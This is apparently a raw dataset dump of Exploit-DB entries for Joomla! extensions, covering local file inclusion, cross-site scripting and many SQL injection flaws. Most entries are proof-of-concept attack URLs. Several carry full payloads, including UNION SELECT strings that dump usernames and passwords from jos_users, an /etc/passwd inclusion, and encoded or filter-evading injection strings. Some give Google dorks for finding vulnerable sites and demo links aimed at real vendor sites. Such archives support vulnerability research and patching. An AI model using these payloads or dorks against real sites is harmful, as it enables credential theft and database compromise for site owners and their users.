deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12428
Description: Joomla! Component SmartSite 1.0.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-27
Author: AntiSecurity

Exploit:
===============================================================================================================


  [o] Joomla Component SmartSite Local File Inclusion Vulnerability
 
       Software : com_smartsite
       Vendor   : http://www.smartsite.su/
       Author   : AntiSecurity [ s4va NoGe Vrs-hCk OoN_BoY Paman zxvf ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_smartsite&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===============================================================================================================


  [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #11853
Description: Joomla! Component SMEStorage - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-23
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
Joomla Component SMEStorage Local File Inclusion
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 23 March 2010
Critical Lvl    : Moderate
Impact	        : Exposure of sensitive information
Where	        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application     : SMEStorage
Developer       : Roman Gelembjuk
License         : GPL            type  : Non - Commercial
Date Added	: 12 March 2010
Download	: http://gelembjuk.com/index.php?option=com_smestorage&Itemid=60&file=Jooomla+tools%2FSMEStorage+joomla+component.zip&task=showfile


Description     :

SMEStorage QFD is SMEStorage quick files directory.
This is Joomla 1.5 component for managing files directory.
Use this component if you want to setup files directory on your Joomla site.

Installation and using of the component is very easy and quick.

1. Register account with SMEStorage (http://www.smestorage.com)
2. Install this component.
3. Set up SMEStorage account info in component admin side.
4. Upload files/create folders in your SMEStorage account.
 All will be displayed on the site. And avaliable for users to download.

This component is good for creating of file directory with big count
 of files and big total size.

For example, it is easy to create and manage 20 GB of files.
Because files are not stored at server with the Joomla site.
---------------------------------------------------------------------------
how to exploit

http://localhost/index.php?option=com_smestorage&controller=[LFI]%00


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #31008
Description: Joomla! Component SMF Forum 1.1.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-01-09
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27218/info

Joomla-SMF Forum is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The issues affect SMF 1.1.4; other versions of SMF and Joomla-SMF may also be vulnerable. 

http://www.example.com/component/option,com_smf/Itemid,8'XSS,1/topic,1.0/
http://www.example.com/component/option,com_smf/Itemid,5/topic,1.XSS/
Exploit-DB #41327
Description: Joomla! Component Soccer Bet 4.1.5 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-11
Author: Persian Hack Team

Exploit:
# Exploit Title: Joomla Component Soccer Bet 4.1.5 - SQL Injection
# Date: 2017-02-11
# Home : https://extensions.joomla.org/extensions/extension/sports-a-games/tips-a-betts/soccer-bet/
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM (kazemimojtaba@live.com)
# Home : http://persian-team.ir/
# Telegram Channel AND Demo: @PersianHackTeam
# Google Dork : inurl:index.php?option=com_soccerbet
# Tested on: Linux

# POC :
# Cat Parameter Vulnerable to SQL Injection
# http://www.Target.com/index.php?option=com_soccerbet&view=matches&cat=[SQL]

# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members
# Iranian white hat Hackers
Exploit-DB #41328
Description: Joomla! Component Soccer Bet 4.1.5 - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Soccer Bet 4.1.5 - 'userid' Parameter SQL Injection
# Google Dork: inurl:index.php?option=com_soccerbet
# Date: 12.02.2017
# Vendor Homepage: http://www.jomsoccerbet.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/sports-a-games/tips-a-betts/soccer-bet/
# Demo: http://demo.jomsoccerbet.com/
# Version: 4.1.5
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_soccerbet&view=userbethistory&userid=[SQL]
# # # # #
Exploit-DB #45470
Description: Joomla! Component Social Factory 3.8.3 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Social Factory 3.8.3 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/clients-a-communities/communities/social-factory/
# Version: 3.8.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17385
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/socialfactory-events/socialfactory-events-radius-search?option=com_socialfactory&view=page&task=page.display&radius[lat]=[SQL]&radius[lng]=[SQL]&radius[radius]=[SQL]
# 
# %20%41%4e%44%28%53%45%4c%45%43%54%20%31%20%46%52%4f%4d%20%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%28%53%45%4c%45%43%54%28%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%28%43%41%53%54%28%44%41%54%41%42%41%53%45%28%29%20%41%53%20%43%48%41%52%29%2c%30%78%37%65%29%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%44%41%54%41%42%41%53%45%28%29%20%4c%49%4d%49%54%20%30%2c%31%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29
#  
# # # #
Exploit-DB #44128
Description: Joomla! Component Solidres 2.5.1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # # 
# Exploit Title: Joomla! Component Solidres 2.5.1 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://solidres.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/solidres/
# Version: 2.5.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5980
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php/en/component/solidres/?location=&checkin=2018-01-08&checkout=2018-01-09&room_quantity=1&room_opt[1][adults]=1&room_opt[1][children]=0&option=com_solidres&task=hub.search&start=0&Itemid=306&9f3d70a896d5f[PII_REDACTED]ecac43607=1&ordering=score&direction=desc[SQL]&type_id=12
# 
# http://localhost/[PATH]/index.php/en/component/solidres/?checkin=2018-01-08&checkout=2018-01-09&option=com_solidres&task=hub.search&direction=desc[SQL]
# 
# LChTRUxFQ1QgNDU2MSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHg3MTYyNmE3MTcxLChTRUxFQ1QgKEVMVCg0NTYxPTQ1NjEsMSkpKSwweDcxNmI3MDYyNzEsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLlBMVUdJTlMgR1JPVVAgQlkgeClhKQ==
# 
# # # #
Exploit-DB #10067
Description: Joomla! Component Soundset 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-10-05
Author: kaMtiEz

Exploit:
/********************************************************************************

[~] Joomla Component com_soundset Remote SQL injection vulnerability - (cat_id)
[~] Author	: kaMtiEz (kamzcrew@gmail.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: October 4, 2009
[~] Tune In	: http://antisecradio.fm (choose your weapon)

********************************************************************************/

[ Software Information ]

[+] Vendor : http://www.soundset.at/
[+] Download : -
[+] version : 1.0
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_soundset"
[+] Price : EUR 119.00

================================================================================

[ Vulnerable File ]

http://127.0.0.1/ndex.php?option=com_soundset&controller=showcategory&cat_id=[INDONESIANCODER]

[ Exploit ]

-666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users--

[ Demo ]

http://www.soundset.at/cms/index.php?option=com_soundset&controller=showcategory&cat_id=-666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users--

http://joomla.soundset.at/index.php?option=com_soundset&controller=showcategory&cat_id=-666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users--

================================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM - KILL-9 CREW - KIRIK CREW - MainHack Brotherhood - ServerIsDown
[+] Don Tukulesto, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, och3_an3h
[+] Contrex, onthel, yasea, bugs, olivia, Jovan, Aar, Ardy, invent, Ronz
[+] Coracore, black666girl, NepT, ichal, tengik, Gh4mb4s ,rendy, Jack- and YOU!!

[ NOTE ] 

[+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw
[+] terima kasih buat vYc0d yang menemani saya waktu YM an jangan lupa kuliah e ojo fb nan terus ! wkwkw.. wkwkwkkwkw

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih dan masih belum ketemu juga :"( wkwkw ....
[+] AURAKASIH I MISS U FULL arghhhhh ...
Exploit-DB #42502
Description: Joomla! Component SP Movie Database 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component SP Movie Database 1.3 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage: http://joomshaper.com/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/sp-movie-database/
# Demo: http://demo.joomshaper.com/2016/moview/
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_spmoviedb&view=searchresults&searchword=[SQL]&type=movies&Itemid=523
# 
# Etc..
# # # # #
Exploit-DB #23782
Description: Joomla! Component Spider Calendar - 'date' Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-12-31
Author: Red-D3v1L

Exploit:
Happy New year for all <3 Merry x-mas !
+===================================================================================+
  
[?] ~ Note : No One stay for a one :( !
==============================================================================
[?] Joomla Component (com_spidercalendar) Blind SQL Injection Vulnerability
==============================================================================
    [?] My home:              [ https://www.facebook.com/OutLawZx ]
    [?] For Ask:              [ggrg@hotmail.com]
    [?] Script:               [ Joomla ]
    [?] Language:             [ PHP ]
    [?] Founder:              [ Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - sec4ever.com  ]

########################################################################
    
===[ Exploit SQL Blind ]===

exploit : 

index.php?option=com_spidercalendar&Itemid=14&date=[SQL Blind]
Exploit-DB #41371
Description: Joomla! Component Spider Calendar Lite 3.2.16 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-16
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Spider Calendar Lite v3.2.16 - SQL Injection
# Google Dork: inurl:index.php?option=com_spidercalendar
# Date: 16.02.2017
# Vendor Homepage: http://web-dorado.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/spider-calendar-lite/
# Demo: http://demo.web-dorado.com/spider-calendar.html
# Version: 3.2.16
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=[SQL]
# http://localhost/[PATH]/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1&module_id=92&date92=2017-02-3&cat_ids=&Itemid=[SQL]
# Etc...
# # # # #
Exploit-DB #41372
Description: Joomla! Component Spider Catalog Lite 1.8.10 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-16
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Spider Catalog Lite v1.8.10 - SQL Injection
# Google Dork: inurl:index.php?option=com_spidercatalog
# Date: 16.02.2017
# Vendor Homepage: http://web-dorado.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/spider-catalog-lite/
# Demo: http://demo.web-dorado.com/spider-catalog.html
# Version: 1.8.10
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_spidercatalog&product_id=40&view=showproduct&page_num=1&back=1&show_category_details=0&display_type=list&show_subcategories=0&show_subcategories_products=0&show_products=1&select_categories=0&Itemid=[SQL]
# 
http://localhost/[PATH]/index.php?option=com_spidercatalog&view=spidercatalog&select_categories=[SQL]&show_category_details=1&display_type=cell&show_subcategories=1
# # # # #
Exploit-DB #41373
Description: Joomla! Component Spider Facebook 1.6.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-16
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Spider Facebook v1.6.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_spiderfacebook
# Date: 16.02.2017
# Vendor Homepage: http://web-dorado.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/social-web/social-display/spider-facebook/
# Demo: http://demo.web-dorado.com/spider-facebook.html
# Version: 1.6.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_spiderfacebook&task=loginwith&name=[SQL]
# # # # #
Exploit-DB #41374
Description: Joomla! Component Spider FAQ Lite 1.3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-16
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Spider FAQ Lite v1.3.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_spiderfaq
# Date: 16.02.2017
# Vendor Homepage: http://web-dorado.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/spider-faq-lite/
# Demo: http://demo.web-dorado.com/spider-faq.html
# Version: 1.3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=1&searchform=1&expand=0&Itemid=[SQL]
# # # # #
Exploit-DB #39294
Description: Joomla! Component spidervideoplayer - 'theme' SQL Injection
Type: webapps
Platform: php
Date: 2014-08-26
Author: Claudio Viviani

Exploit:
source: https://www.securityfocus.com/bid/69422/info

Spider Video Player extension for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker may leverage this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Spider Video Player Extension 2.8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/component/spidervideoplayer/?view=settings&format=row&typeselect=0&playlist=1,&theme=1'
Exploit-DB #41464
Description: Joomla! Component Spinner 360 1.3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-25
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Spinner 360 v1.3.0 - SQL Injection
# Google Dork: N/A
# Date: 25.02.2017
# Vendor Homepage: https://www.cmsplugin.com/
# Software : https://www.cmsplugin.com/products/components/13-spinner360
# Demo: http://extensions.cmsplugin.com/extensions/j3demo/spinner-360
# Version: 1.3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/spinner-360?Ihsan_Sencan=[SQL]
# # # # #
Exploit-DB #15367
Description: Joomla! Component Sponsor Wall 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-31
Author: FL0RiX

Exploit:
============================================================
Joomla Component com_sponsorwall SQL Injection Vulnerability       
============================================================

# Author        : Fl0riX ~ Bug Researchers

# Name : Joomla com_sponsorwall

# Bug Type : SQL injection

# Infection : Admin Login Bilgileri Alinabilir.

# Demo Vuln :
[+]index.php?option=com_sponsorwall&controller=sponsorwall&catid=[EXPLOIT]

[+]Vendor:http://www.pulseextensions.com/

# Note: AsDemo Sitede Filtre Var Haberiniz olsun :)

# Bug Fix Advice : Zararli Karakterler Filtrenmelidir.
######### ####################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
EXPLOIT :
null+and+1=0+union+select+1,2,concat(username,0x3a,password)fl0rix,4,5,6,6,7,8,9,10+from+jos_users--
< -- bug code end of -- >
Exploit-DB #41325
Description: Joomla! Component Sponsor Wall 7.0 - 'wallid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-11
Author: Persian Hack Team

Exploit:
# Exploit Title: Joomla Component Sponsor Wall 7.0 - SQL Injection
# Date: 2017-02-11
# Home : https://extensions.joomla.org/extensions/extension/ads-a-affiliates/sponsors/sponsor-wall/
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM (kazemimojtaba@live.com)
# Home : http://persian-team.ir/
# Telegram Channel AND Demo: @PersianHackTeam
# Google Dork : inurl:index.php?oprion=com_sponsorwall
# Tested on: Linux

# POC :
# wallid Parameter Vulnerable to SQL Injection
# http://www.Target.com/index.php?option=com_sponsorwall&task=click&wallid=[SQL]

# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members
# Iranian white hat Hackers
Exploit-DB #42525
Description: Joomla! Component Sponsor Wall 8.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Sponsor Wall 8.0 - SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://pulseextensions.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/sponsors/sponsor-wall/
# Demo: http://demo.pulseextensions.com/sponsor-wall-component-demo/
# Version: 8.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_sponsorwall&task=click&wallid=[SQL]
#
# 86+aND(/*!11100sELeCT*/+0x30783331+/*!11100FrOM*/+(/*!11100SeLeCT*/+cOUNT(*),/*!11100CoNCaT*/((sELEcT(sELECT+/*!11100CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+AND+1=1
#
# Etc..
# # # # #
Exploit-DB #33237
Description: Joomla! Component SportFusion 0.2.x - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-22
Author: kaMtiEz

Exploit:
source: https://www.securityfocus.com/bid/36481/info

The SportFusion component ('com_sportfusion') for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SportFusion 0.2.2 and 0.2.3 are affected; other versions may also be vulnerable.

http://www.example.com/index.php?option=com_sportfusion&view=teamdetail&cid[0]=-666+union+select+1,2,3,4,5,concat(0x3a,username,password)kaMtiez,7,8,9,10,11,12,13+from+jos_users--